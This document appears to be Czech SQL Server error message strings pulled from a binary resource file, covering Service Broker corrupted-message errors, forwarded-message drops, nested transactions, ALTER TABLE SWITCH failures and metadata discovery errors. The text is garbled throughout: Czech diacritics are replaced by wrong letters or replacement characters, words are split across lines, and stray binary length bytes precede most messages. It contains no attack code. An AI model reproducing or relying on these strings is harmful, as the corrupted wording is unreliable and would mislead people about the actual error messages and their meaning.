�Zpr�vu %1!s! se nepodaYilo zpracovat z dovodu nedostatku pamti. Zpr�va byla vyYazena.

�Byla pYijata poakozen� zpr�va. Datov� segment soukrom� promnn� je poakozen�.

�Byla pYijata poakozen� zpr�va. Datov� segment soukrom� promnn� pYekra
uje d�lku zpr�vy.

�Byla pYijata poakozen� zpr�va. Bin�rn� preambule zpr�vy je poakozen�.

�Byla pYijata poakozen� zpr�va. �slo verze zabezpe
en� konverzace nen� %1!s!.%2!s!.

dByla pYijata poakozen� zpr�va. Maxim�ln� po
et datov�ch elemento veYejn�ch promnn�ch (%1!s!) byl pYekro
en. Po
et nalezen�ch datov�ch elemento veYejn�ch promnn�ch: %2!s!.

�Byla pYijata poakozen� zpr�va. Datov� element veYejn� promnn� (%1!s!) je ve zpr�v duplicitn�.

�Byla pYijata poakozen� zpr�va. Z�hlav� ovYen� metody handshake je poakozen�.

hByla pYijata poakozen� zpr�va. Maxim�ln� po
et datov�ch elemento soukrom�ch promnn�ch (%1!s!) byl pYekro
en. Po
et nalezen�ch datov�ch elemento soukrom�ch promnn�ch: %2!s!.

�Byla pYijata poakozen� zpr�va. Datov� element soukrom� promnn� (%1!s!) je ve zpr�v duplicitn�.

�Byla pYijata poakozen� zpr�va. Z�hlav� vyjedn�n� pY�stupu je neplatn�.

�Byla pYijata poakozen� zpr�va. Z�hlav� pY�stupu SSPI je neplatn�.

�Byla pYijata poakozen� zpr�va. Vedleja� tajn� k�d je neplatn�.

�Byla pYijata poakozen� zpr�va. Ob pole kl�
e certifik�tu zabezpe
en� musej� b�t sou
asn vyplnn�, nebo pr�zdn�. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Byla pYijata poakozen� zpr�va. Certifik�t zdroje z�hlav� zabezpe
en� servisn�ho p�ru a podpis mus� b�t sou
asn pY�tomny, nebo nepY�tomny. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

PByla pYijata poakozen� zpr�va. Chyb� s�riov� 
�slo certifik�tu c�le. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

XByla pYijata poakozen� zpr�va. Polo~ky certifik�t c�le z�hlav� zabezpe
en� servisn�ho p�ru, kl�
 pro v�mnu kl�
o, ID kl�
e pro v�mnu kl�
o a kl�
 relace mus� b�t sou
asn pY�tomny, nebo nepY�tomny. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

4Byla pYijata poakozen� zpr�va. Chyb� ID kl�
e relace. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Byla pYijata poakozen� zpr�va. PY�znak aifrov�n� byl nastaven, ale chyb� tlo zpr�vy, MIC nebo hodnota n�hodn�ho Yetzce. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Byla pYijata poakozen� zpr�va. MIC je pY�tomna, ale chyb� tlo zpr�vy nebo pY�znak aifrov�n�. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

`Byla pYijata poakozen� zpr�va. MIC a ID kl�
e relace jsou v neplatn�m stavu. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Byla pYijata poakozen� zpr�va. Velikost MIC je %1!s!, jej� d�lka vaak nesm� pYekro
it %2!s! bajto. K chyb doalo ve zpr�v s ID konverzace %3!s!. Inici�tor: %4!s!, 
�slo sekvence zpr�vy: %5!s!.

�Byla pYijata poakozen� zpr�va. Velikost s�riov�ho 
�sla certifik�tu je %1!s!, jeho d�lka vaak nesm� pYekro
it %2!s! bajto. K chyb doalo ve zpr�v s ID konverzace %3!s!. Inici�tor: %4!s!, 
�slo sekvence zpr�vy: %5!s!.

�Byla pYijata poakozen� zpr�va. Velikost n�zvu vystavitele certifik�tu je %1!s!, jeho d�lka vaak nesm� pYekro
it %2!s! bajto. K chyb doalo ve zpr�v s ID konverzace %3!s!. Inici�tor: %4!s!, 
�slo sekvence zpr�vy: %5!s!.

�Byla pYijata poakozen� zpr�va. Velikost s�riov�ho 
�sla c�lov�ho certifik�tu je %1!s!, jeho d�lka vaak nesm� pYekro
it %2!s! bajto. K chyb doalo ve zpr�v s ID konverzace %3!s!. Inici�tor: %4!s!, 
�slo sekvence zpr�vy: %5!s!.

�Byla pYijata poakozen� zpr�va. Velikost n�zvu vystavitele c�lov�ho certifik�tu je %1!s!, jeho d�lka vaak nesm� pYekro
it %2!s! bajto. K chyb doalo ve zpr�v s ID konverzace %3!s!. Inici�tor: %4!s!, 
�slo sekvence zpr�vy: %5!s!.

�Byla pYijata poakozen� zpr�va. Velikost z�hlav� zabezpe
en� servisn�ho p�ru je %1!s!, mus� vaak b�t v rozmez� %2!s! a %3!s! bajto. K chyb doalo ve zpr�v s ID konverzace %4!s!. Inici�tor: %5!s!, 
�slo sekvence zpr�vy: %6!s!.

�Byla pYijata poakozen� zpr�va. Velikost kl�
e pro v�mnu kl�
o je %1!s!, mus� vaak b�t v rozmez� %2!s! a %3!s! bajto. K chyb doalo ve zpr�v s ID konverzace %4!s!. Inici�tor: %5!s!, 
�slo sekvence zpr�vy: %6!s!.

TByla pYijata poakozen� zpr�va. ID kl�
e pro v�mnu kl�
o je neplatn�. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Byla pYijata poakozen� zpr�va. Velikost aifrovan�ho kl�
e relace je %1!s!, mus� vaak b�t %2!s! bajto. K chyb doalo ve zpr�v s ID konverzace %3!s!. Inici�tor: %4!s!, 
�slo sekvence zpr�vy: %5!s!.

�Byla pYijata poakozen� zpr�va. Velikost ID kl�
e relace je %1!s!, mus� vaak b�t %2!s! bajto. K chyb doalo ve zpr�v s ID konverzace %3!s!. Inici�tor: %4!s!, 
�slo sekvence zpr�vy: %5!s!.

�Byla pYijata poakozen� zpr�va. Velikost n�hodn�ho Yetzce je %1!s!, mus� vaak b�t %2!s! bajto. K chyb doalo ve zpr�v s ID konverzace %3!s!. Inici�tor: %4!s!, 
�slo sekvence zpr�vy: %5!s!.

|Byla pYijata poakozen� zpr�va. Xetzec znako UNICODE ve zpr�v nen� zarovn�n na dva bajty. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Byla pYijata poakozen� zpr�va. Xetzec znako UNICODE pYekra
uje maxim�ln� povolenou velikost %1!s! bajto. K chyb doalo ve zpr�v s ID konverzace %2!s!. Inici�tor: %3!s!, 
�slo sekvence zpr�vy: %4!s!.

PByla pYijata poakozen� zpr�va. Hodnota ID konverzace nesm� b�t NULL. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Byla pYijata poakozen� zpr�va. Hodnota ID zpr�vy nesm� b�t NULL.

lByla pYijata poakozen� zpr�va. Tlo zpr�vy nen� pro zaaifrov�n� spr�vn odsazeno. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

XByla pYijata poakozen� zpr�va. �slo sekvence pYekra
uje povolen� limit. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Byla pYijata poakozen� zpr�va. PY�znaky End of Conversation a Error jsou nastaveny sou
asn. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Byla pYijata poakozen� zpr�va. Pro zpr�vu, kter� nebyla zaYazena do sekvence, byl nastaven pY�znak End of Conversation. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Byla pYijata poakozen� zpr�va. PY�znaky End of Conversation a Error nelze nastavit pro prvn� zpr�vu v sekvenci. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

<Byla pYijata poakozen� zpr�va. Chyb� hodnota typu zpr�vy. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

`Byla pYijata poakozen� zpr�va. V t�to zpr�v nesm� b�t nastaven typ zpr�vy. K chyb doalo ve zpr�v s ID konverzace %1!s!. Inici�tor: %2!s!, 
�slo sekvence zpr�vy: %3!s!.

�Paket o velikosti %1!s! bajto nemohl b�t zpracov�n, proto~e pYekra
uje limit c�lov� vyrovn�vac� pamti.

�Byla pYijata poakozen� zpr�va. Soukrom� 
�st z�hlav� zpr�vy je poakozen�.

�Zpr�va byla vyYazena z dovodu licen
n�ch omezen�. Podrobnosti naleznete v dokumentaci.

�PYesmrovan� zpr�va byla vyYazena, proto~e po
et zb�vaj�c�ch pYesmrov�n� dos�hl hodnoty 0.

�PYesmrovan� zpr�va byla vyYazena z dovodu nedostatku pamti pro aktu�ln� instanci syst�mu SQL Server.

�PYesmrovan� zpr�va byla vyYazena, proto~e ji~ byla pYesmrov�na duplicitn� zpr�va.

PYesmrovan� zpr�va byla vyYazena, proto~e pou~it� pamti by pYekro
ilo stanoven� limit pamti pro pYesmrovan� zpr�vy (%1!s! bajto).

�PYesmrovan� zpr�va byla vyYazena, proto~e by se zpr�vu nepodaYilo doru
it v r�mci hodnoty TTL dan� zpr�vy. PY�
inou mo~e b�t nespr�vn� konfigurace trasy pYesmrov�n� nebo nedostupnost c�le.

�PYesmrovan� zpr�va byla vyYazena, proto~e uplynul� 
as pYekro
il hodnotu TTL dan� zpr�vy o %1!s! sekund (zpr�va dorazila po uplynut� %2!s! sekund a u aktu�ln�ho zprostYedkovatele uplynulo %3!s! sekund).

$PYesmrovan� zpr�va byla vyYazena, proto~e pYi odes�l�n� zpr�vy doalo k chyb odes�l�n� pYenosu. Chybu naleznete mezi pYedchoz�mi ud�lostmi.

�PYesmrovan� zpr�va byla vyYazena z dovodu vypnut� pYenosu.

�PYesmrovan� zpr�va byla vyYazena z dovodu neplatn� trasy c�le.

�Byla pYijata poakozen� zpr�va. Posun datov�ho segmentu soukrom� promnn� je nespr�vn�.

�Byla pYijata poakozen� zpr�va. Posun datov�ho segmentu veYejn� promnn� je nespr�vn�.

�Postup smrem vpYed je v t�to transakci zak�z�n. Transakce byla vr�cena zpt.

�Tuto operaci je nutn� prov�st v paraleln� vnoYen� transakci.

�Ulo~enou proceduru %1!s! je tYeba spustit v u~ivatelsk� transakci.

��roveH izolace zadan� pro podY�zenou transakci PNT neodpov�d� aktu�ln� �rovni izolace nadYazen� transakce.

�PY�kaz %1!s! nelze pou~�t uvnitY paraleln� vnoYen� transakce.

�Paraleln� pl�n s aktualizacemi nen� uvnitY paraleln� vnoYen� transakce podporov�n

�Ulo~enou proceduru %1!s! nelze spustit prostYednictv�m pYipojen� relace MARS.

�V�zan� relace a u~ivatelsk� paraleln� vnoYen� transakce nelze pou~�t ve stejn� transakci.

U~ivatelskou paraleln� vnoYenou transakci nelze vytvoYit, proto~e bylo dosa~eno maxim�ln�ho po
tu paraleln�ch vnoYen�ch transakc�.

hTuto operaci nelze prov�st v aktivn� transakci.

X�zen� explicitn�ch transakc� a vytv�Yen� �lo~n�ch bodo (BEGIN/SAVE/COMMIT/ROLLBACK TRANSACTION) nen� v atomick�ch bloc�ch podporovan�.

Pameov optimalizovan� tabulky a nativn kompilovan� moduly nejde pou~�vat uvnitY nenativn zkompilovan�ch atomick�ch bloko.

�Funkce @@TRANCOUNT nen� uvnitY atomick�ch bloko podporovan�.

�Sady MARS (Multiple Active Result Sets) a v�zan� relace nejsou uvnitY atomick�ch bloko podporovan�.

PY�kaz ALTER TABLE SWITCH se nezdaYil. Index %1!s! indexovan�ho zobrazen� %2!s! pou~�v� funkci odd�lu %3!s!, ale tabulka %4!s! pou~�v� neekvivalentn� funkci odd�lu %5!s!. Index indexovan�ho zobrazen� %6!s! a tabulka %7!s! mus� pou~�vat ekvivalentn� funkci odd�lu.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Tabulka %1!s! je %2!s!, ale index %3!s! indexovan�ho zobrazen� %4!s! je %5!s!.

`PY�kaz ALTER TABLE SWITCH se nezdaYil. Na c�lovou tabulku %1!s! odkazuje %2!s! indexovan�ch zobrazen�, ale na zdrojovou tabulku %3!s! odkazuje jen %4!s! indexovan�ch zobrazen�. Ka~d� indexovan� zobrazen� v c�lov� tabulce mus� m�t alespoH jedno odpov�daj�c� indexovan� zobrazen� ve zdrojov� tabulce.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Indexovan� zobrazen� %1!s! nen� zarovn�no s tabulkou %2!s!. Dlic� sloupec %3!s! indexovan�ho zobrazen� po
�t� svou hodnotu z jednoho nebo v�ce sloupco nebo z v�razu, ne pY�m�m v�brem z dlic�ho sloupce tabulky %4!s!. ZmHte definici indexovan�ho zobrazen� tak, aby byl dlic� sloupec vyb�r�n pY�mo z dlic�ho sloupce tabulky %5!s!.

|PY�kaz ALTER TABLE SWITCH se nezdaYil. Na c�lovou tabulku %1!s! odkazuje %2!s! indexovan�ch zobrazen�, ale na zdrojovou tabulku %3!s! odkazuje jen %4!s! odpov�daj�c�ch indexovan�ch zobrazen�. Ka~d� indexovan� zobrazen� v c�lov� tabulce mus� m�t alespoH jedno odpov�daj�c� indexovan� zobrazen� ve zdrojov� tabulce.

�PY�kaz ALTER TABLE SWITCH se nezdaYil. Tabulka %1!s! nen� zarovn�na s indexem %2!s! indexovan�ho zobrazen� %3!s!. Tabulka je rozdlena sloupcem %4!s!, ale index indexovan�ho zobrazen� je rozdlen sloupcem %5!s!, kter� je vybr�n ze sloupce %6!s! tabulky %7!s!. ZmHte definici indexovan�ho zobrazen� tak, aby se dlic� sloupec zobrazen� shodoval s dlic�m sloupcem tabulky.

PY�kaz ALTER TABLE SWITCH se nezdaYil. Pro zdrojov� a c�lov� odd�ly jsou nastaveny rozd�ln� hodnoty mo~nosti DATA_COMPRESSION.

Form�t �lo~iat Vardecimal nelze pro objekt %1!s! povolit. Form�t Vardecimal podporuje pouze edice Enterprise produktu SQL Server.

�Atribut COLUMN_SET nelze pYidat nebo odebrat upraven�m sloupce %1!s! tabulky %2!s!. Atribut COLUMN_SET sloupce lze zmnit bu odebr�n�m a optovn�m pYid�n�m sloupce v tabulce, nebo vyYazen�m a optovn�m vytvoYen�m tabulky.

0Sadu sloupco %1!s! v tabulce %2!s! nelze odebrat, proto~e tabulka obsahuje v�ce ne~ 1025 sloupco. Sni~te po
et sloupco v tabulce na m�n ne~ 1025.

�Sloupec %1!s! v tabulce %2!s! nelze zmnit na zhuatn� sloupec, proto~e na sloupec je v�z�na v�choz� hodnota nebo pravidlo. Chcete-li sloupec ozna
it jako zhuatn�, nejprve zruate vazbu pravidla nebo v�choz� hodnoty na sloupec.

�Zhuatn� sloupec %1!s! nelze do tabulky %2!s! pYidat, proto~e na datov� typ sloupce je v�z�na v�choz� hodnota nebo pravidlo. Chcete-li do tabulky pYidat zhuatn� sloupec, nejprve zruate vazbu pravidla nebo v�choz� hodnoty na datov� typ sloupce.

PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! nem� stejn� atribut zhuatn�ho �lo~iat v tabulk�ch %2!s! a %3!s!.

PY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e sloupec %1!s! nem� stejnou vlastnost sady sloupco v tabulk�ch %2!s! a %3!s!.

�Objekt %1!s! nen� mo~n� zak�zat ani povolit. Tuto akci lze pou~�t pouze pro omezen� ciz�ch kl�
o a omezen� CHECK.

@Nelze prov�st akci %1!s! s tabulkou %2!s!, proto~e tabulka obsahuje bu zhuatn� sloupce, nebo sloupce sady sloupco, kter� nejsou s kompres� kompatibiln�.

�Sloupec %1!s! nelze zmnit ani vyYadit, proto~e je s n�m federov�na tabulka %2!s!.

�Proveden� pY�kazu ALTER TABLE SWITCH se nezdaYilo. Indexovan� zobrazen� %1!s! odkazuje na objekt, kter� se ne�
astn� pY�kazu ALTER TABLE SWITCH. Mo~nost WAIT_AT_LOW_PRIORITY proto nelze pou~�t. VyYate indexy tohoto zobrazen� nebo zmHte jeho definici, aby odkazoval jen na tabulky, kter� se pY�kazu ALTER TABLE SWITCH �
astn�.

�U~ivatel nem� opr�vnn� k pou~it� mo~nosti ABORT_AFTER_WAIT = BLOCKERS.

�Sloupec identity %1!s! v tabulce %2!s! nelze zmnit, proto~e tato operace vy~aduje �pravu dat a tabulka obsahuje trval� po
�tan� sloupec. Ne~ uprav�te sloupec identity, odeberte trval� po
�tan� sloupec.

�Nebylo mo~n� zpracovat operaci DDL, proto~e odkazuje na sloupec %1!s! v tabulce %2!s!, co~ je v konfliktu se soub~nou operac� se sloupci prob�haj�c� pro tuto tabulku. Soub~nou operac� by mohla b�t online operace ALTER COLUMN.

�Operaci alter nen� mo~n� prov�st pro sloupec v m�stn� do
asn� tabulce online. Provete operaci alter offline.

�Online operaci ALTER COLUMN nejde pro tabulku %1!s! prov�st, proto~e sloupec %2!s! aktu�ln m� (nebo se mn� tak, ~e bude m�t) nepodporovan� datov� typ: text, ntext, image, typ CLR nebo FILESTREAM. Operace se mus� prov�st offline.

�Sloupec %1!s! nejde zmnit online na typ XML, kter� m� kolekci sch�matu. Operace se mus� prov�st offline.

�Online pY�kaz ALTER COLUMN pro tabulku %1!s! selhal, proto~e tabulka m� povolen� sledov�n� zmn a je ozna
en� pro slu
ovac� replikaci. PYed pou~it�m online pY�kazu ALTER COLUMN zaka~te sledov�n� zmn a nebo operaci provete offline.

Funkci Change Data Capture nejde povolit pro sloupec %1!s!. Funkce Change Data Capture se pro aifrovan� sloupce nepodporuje.

�Mo~nost %1!s! nen� povolen�, proto~e mo~nost %2!s! nen� nastaven� na %3!s!.

�%1!s!= %2!s! nen� platn� hodnota; %3!s! mus� b�t vta� ne~ 0 a mena� ne~ %4!s!.

|'%1!s!' s mo~nost� %2!s! se nepodporuje pro %3!s! %4!s!.

�Mo~nost %1!s! se nepodporuje pro zak�zan� index %2!s! pro %3!s! %4!s!.

xMo~nost %1!s! se nepodporuje pro haldy pro %2!s! %3!s!.

�Nejde zmnit tabulku %1!s!, proto~e sloupec %2!s!, kter� nesm� m�t hodnotu null, nejde deklarovat jako skryt�, pokud nem� bu omezen� DEFAULT, atribut GENERATED ALWAYS, nebo atribut IDENTITY.

�Nejde zmnit tabulku %1!s!, proto~e aspoH jeden sloupec mus� b�t definov�n tak, ~e nen� skryt�.

�Mo~nost %1!s! nejde nastavit na %2!s!, pokud je mo~nost %3!s! nastaven� na %4!s!.

�Obnoviteln� operace sestaven� online indexu nen� v tempdb podporov�na.

PY�kaz ALTER TABLE SWITCH selhal, proto~e tabulka %1!s! obsahuje seYazen� clusterovan� index %2!s!, ale tabulka %3!s! nikoli.

�PY�kaz ALTER TABLE SWITCH selhal, proto~e tabulka %1!s! a jej� seYazen� clusterovan� index columnstore obsahuje seYazen� sloupce, kter� neodpov�daj� seYazen�m sloupcom v tabulce %2!s! a jej�mu seYazen�mu clusterovan�mu indexu columnstore.

Kdy~ je povolen� re~im pameov optimalizovan�ch metadat, nen� vytvoYen� indexu columnstore v datab�zi tempdb podporov�no.

xD�vku nebylo mo~n� analyzovat z dovodu chyb kompilace.

xTyp pro parametr %1!s! nelze v tomto kontextu odvodit.

�Typ parametru nelze odvodit, proto~e jeden v�raz obsahuje dva netypov� parametry, %1!s! a %2!s!.

�Zjiatn� typ s ID typu u~ivatele %1!s! v datab�zi %2!s! je neplatn�.

�Zjiatn� typ s ID kolekce sch�mat XML %1!s! v datab�zi %2!s! je neplatn�.

Typ parametru pro polo~ku %1!s! ! nelze odvodit, proto~e dotaz nebude platn� s ~�dn�m typem. Existuj� dv mo~nosti: %2!s! a %3!s!.

�Typ parametru pro polo~ku %1!s! nelze v tomto kontextu odvodit, proto~e dotaz nebude platn� s ~�dn�m typem.

�Nedeklarovan� parametr %1!s! je v analyzovan� d�vce pou~it v�ce ne~ jednou.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! nen� kompatibiln� s pY�kazem %2!s!.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! v hlavn� d�vce nen� kompatibiln� s pY�kazem %2!s! v proceduYe %3!s!.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! v proceduYe %2!s! nen� kompatibiln� s pY�kazem %3!s! v hlavn� d�vce.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! v proceduYe %2!s! nen� kompatibiln� s pY�kazem %3!s! v proceduYe %4!s!.

HMetadata nelze ur
it, proto~e pY�kaz %1!s! obsahuje dynamick� pY�kaz jazyka SQL. Zkuste sadu v�sledko dotazu v�slovn popsat pomoc� klauzule WITH RESULT SETS.

lMetadata nelze ur
it, proto~e pY�kaz %1!s! v proceduYe %2!s! obsahuje dynamick� pY�kaz jazyka SQL. Zkuste sadu v�sledko dotazu v�slovn popsat pomoc� klauzule WITH RESULT SETS.

0Metadata nelze ur
it, proto~e pY�kaz %1!s! vol� proceduru modulu CLR. Zkuste sadu v�sledko dotazu v�slovn popsat pomoc� klauzule WITH RESULT SETS.

TMetadata nelze ur
it, proto~e pY�kaz %1!s! v proceduYe %2!s! vol� proceduru modulu CLR. Zkuste sadu v�sledko dotazu v�slovn popsat pomoc� klauzule WITH RESULT SETS.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! vol� aktiva
n� proceduru v jazyce CLR.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! v proceduYe %2!s! vol� aktiva
n� proceduru v jazyce CLR.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! vol� roza�Yenou ulo~enou proceduru.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! v proceduYe %2!s! vol� roza�Yenou ulo~enou proceduru.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! pou~�v� nedeklarovan� parametr v kontextu, kter� m� vliv na jeho metadata.

Metadata nelze ur
it, proto~e pY�kaz %1!s! v proceduYe %2!s! pou~�v� nedeklarovan� parametr v kontextu, kter� m� vliv na jeho metadata.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! zposobuje nepY�mou rekurzi.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! v proceduYe %2!s! zposobuje nepY�mou rekurzi.

PMetadata se nedaj� ur
it, proto~e pY�kaz %1!s! pou~�v� do
asnou tabulku. Zjiaeov�n� metadat podporuje do
asn� tabulky jenom pYi anal�z�ch d�vek s jedn�m pY�kazem.

�Metadata se nedaj� ur
it, proto~e pY�kaz %1!s! v proceduYe %2!s! pou~�v� do
asnou tabulku.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! nepodporuje zjiaeov�n� metadat.

�Metadata nelze ur
it, proto~e pY�kaz %1!s! v proceduYe %2!s! nepodporuje zjiaeov�n� metadat.

�Metadata nelze ur
it, proto~e ka~d� cesta k�du m� za n�sledek chyby. PY�klady naleznete v pYedchoz�ch chyb�ch.

�Metadata nelze ur
it, proto~e neexistuj� ~�dn� cesty k�du, na jejich~ z�klad by bylo mo~n� dos�hnout konce d�vky.

TID objektu %1!s! pYedan� funkci sys.dm_exec_describe_first_result_set_for_object odkazuje na objekt, kter� nen� procedurou nebo aktiva
n� procedurou v jazyce T-SQL.

�ID objektu %1!s! pYedan� funkci sys.dm_exec_describe_first_result_set_for_object bylo neplatn�.

�Typ %1!s! nen� platn�m n�zvem objektu pro definici sady v�sledko dotazu.

hTyp %1!s! je neplatn� nebo nen� typem tabulky.

tPY�kaz EXECUTE se nezdaYil, proto~e jeho klauzule WITH RESULT SETS ur
ovala sady v�sledko dotazu (po
et: %1!s!) a pY�kaz se pokusil odeslat v�ce sad v�sledko dotazu ne~ tento po
et.

�PY�kaz EXECUTE se nezdaYil, proto~e jeho klauzule WITH RESULT SETS ur
ovala sady v�sledko dotazu (po
et: %1!s!), ale pY�kaz v dob bhu odeslal pouze n�sleduj�c� po
et sad v�sledko dotazu: %2!s!.

�PY�kaz EXECUTE se nezdaYil, proto~e jeho klauzule WITH RESULT SETS ur
ovala sloupce (po
et: %1!s!) pro sadu v�sledko dotazu 
. %2!s!, ale pY�kaz v dob bhu odeslal pouze n�sleduj�c� po
et sloupco: %3!s!.

�PY�kaz EXECUTE se nezdaYil, proto~e jeho klauzule WITH RESULT SETS ur
ovala typ %1!s! pro sloupec 
. %2!s! sady v�sledko dotazu 
. %3!s!, ale odpov�daj�c� typ odeslan� v dob bhu byl %4!s!. Mezi tmito dvma typy nelze prov�dt pYevod.

Po spuatn� pY�kazu EXECUTE doalo ke zmn jednoho nebo v�ce typo ur
en�ch klauzul� WITH RESULT SETS. Spusete pY�kaz znovu.

Proceduru sp_describe_first_result_set nelze volat, kdy~ je spuatn pY�kaz SET STATISTICS XML nebo SET STATISTICS PROFILE.

�ProceduYe sp_describe_undeclared_parameters se nepodaYilo zjistit metadata parametru pro vzd�len� vol�n� procedur, proto~e parametry byly pYed�ny podle n�zvu a zjiaeov�n� metadat parametru podle n�zvu se nezdaYilo.

�UvnitY ~�dn� procedury ani d�vky, kter� je spouatna prostYednictv�m pY�kazu EXECUTE obsahuj�c�ho klauzuli WITH RESULT SETS, nen� povolen pY�kaz SET STATISTICS XML ON a SET STATISTICS PROFILE ON.

�Nelze odvodit typ parametru v pozici %1!s! pro vzd�len� vol�n� modulu %2!s!.

�Zjiaeov�n� vzd�len� sady v�sledko dotazu nelze prov�st uvnitY pY�kazu SELECT INTO.

�Ulo~enou proceduru sp_showmemo_xml nelze spustit, pokud je zapnut� mo~nost STATISTICS XML, STATISTICS PROFILE nebo SHOWPLAN. Nastavte tyto mo~nosti na hodnotu OFF a znovu spusete ulo~enou proceduru sp_showmemo_xml.

0Jako vstupn� parametr ulo~en� procedury sp_showmemo_xml lze pou~�t pouze jeden pY�kaz. Upravte vstupn� parametr a znovu spusete ulo~enou proceduru.

�Ulo~en� procedura sp_showmemo_xml nen� v t�to edici syst�mu SQL Server k dispozici.

�Pou~it� ulo~en�ch procedur nen� podporov�no. Upravte vstupn� parametr a znovu spusete ulo~enou proceduru.

�Metadata nelze ur
it, proto~e vzd�len� zjiaeov�n� metadat pro pY�kaz %1!s! se nezdaYilo.

�Metadata nelze ur
it, proto~e vzd�len� zjiaeov�n� metadat pro pY�kaz %1!s! v proceduYe %2!s! se nezdaYilo.

�Parametr @browse_information_mode o
ek�v� datov� typ tinyint s hodnotami 0, 1 nebo 2.

�PY�kaz EXECUTE se nezdaYil, proto~e jeho klauzule WITH RESULT SETS ur
ovala pro sloupec 
. %1!s! v sad v�sledko 
. %2!s! typ, kter� nepovoluje hodnotu null, a odpov�daj�c� hodnota odeslan� v dob bhu mla hodnotu null.

�Promnn� nebo parametru %1!s! neumo~Huj�c�m hodnotu NULL nelze pYiYadit hodnotu NULL.

XParametr %1!s! je deklarovan� jako NOT NULL. Parametry NOT NULL jsou podporovan� jenom u nativn kompilovan�ch modulo. V�jimkou jsou vlo~en� funkce vracej�c� tabulku.

�Ulo~en� procedura sp_get_database_scoped_credential nen� v t�to edici SQL Serveru dostupn�.

�Ulo~en� procedura sp_get_jobs_database_scoped_credential nen� k dispozici.

�Xetzec JSON %1!s! se nepovedlo parsovat. Zkontrolujte pros�m form�tov�n� JSON.

�Parametr JSON %1!s! %2!s! chyb� nebo nen� spr�vn form�tovan�. Zkontrolujte pros�m form�tov�n� JSON.

�Parametr %1!s! m� hodnotu %2!s! mimo platn� rozsah. Zkuste to znovu s platn�m parametrem.

�Parametr %1!s! m� hodnotu %2!s! s vta� d�lkou, ne~ je maxim�ln povoleno. Zkuste to znovu s platn�m parametrem.

�Ulo~en� procedura sp_showinitialmemo_xml nen� v t�to edici syst�mu SQL Server k dispozici.

�Ulo~en� procedura sp_set_session_resource_group nen� v t�to edici SQL Serveru dostupn�.

�Parametr JSON %1!s! %2!s! chyb� nebo nen� spr�vn form�tovan�. Zkontrolujte pros�m form�tov�n� JSON.

�Xetzec JSON %1!s! se nepovedlo parsovat. Zkontrolujte pros�m form�tov�n� JSON.

lSloupec %1!s! (%2!s!) m� typ %3!s!, kter� nen� aktu�ln podporov�n nativn�m pYesunem dat. Pro tento dotaz je nutn� pou~�t pYesun DMS. Pokud pot�~e potrvaj�, kontaktujte podporu.

�Sloupec %1!s! (%2!s!) m� typ %3!s!, kter� nen� aktu�ln podporov�n nativn�m pYesunem dat pro distribuci hash. Pro tento dotaz je nutn� pou~�t pYesun DMS. Pokud pot�~e potrvaj�, kontaktujte podporu.

�Parametr JSON %1!s! %2!s! chyb� nebo nen� spr�vn form�tovan�. Zkontrolujte pros�m form�tov�n� JSON.

hPY�kazy %1!s! s mo~nost� %2!s! nejsou povoleny.

lPY�kazy %1!s! nejsou na nejvyaa� �rovni povoleny.

lPY�kazy %1!s! nejsou na nejvyaa� �rovni povoleny.

pZad�n� n�zvu serveru v pY�kazu %1!s! nen� povoleno.

�Zad�n� n�zvu datab�ze %1!s! v pY�kazu %2!s! nen� povoleno.

pVytvoYen� do
asn ulo~en�ch procedur nen� povoleno.

tPYi sestavov�n� projektu doalo k intern� chyb. %1!s!

lK sestaven� tohoto projektu nen� dostatek pamti.

�Zad�n� elemento sch�matu v pY�kazu CREATE SCHEMA nen� podporov�no.

�V�ce pY�kazo v d�vce T-SQL nen� na nejvyaa� �rovni povoleno.

h�slovan� ulo~en� procedury nejsou podporov�ny.

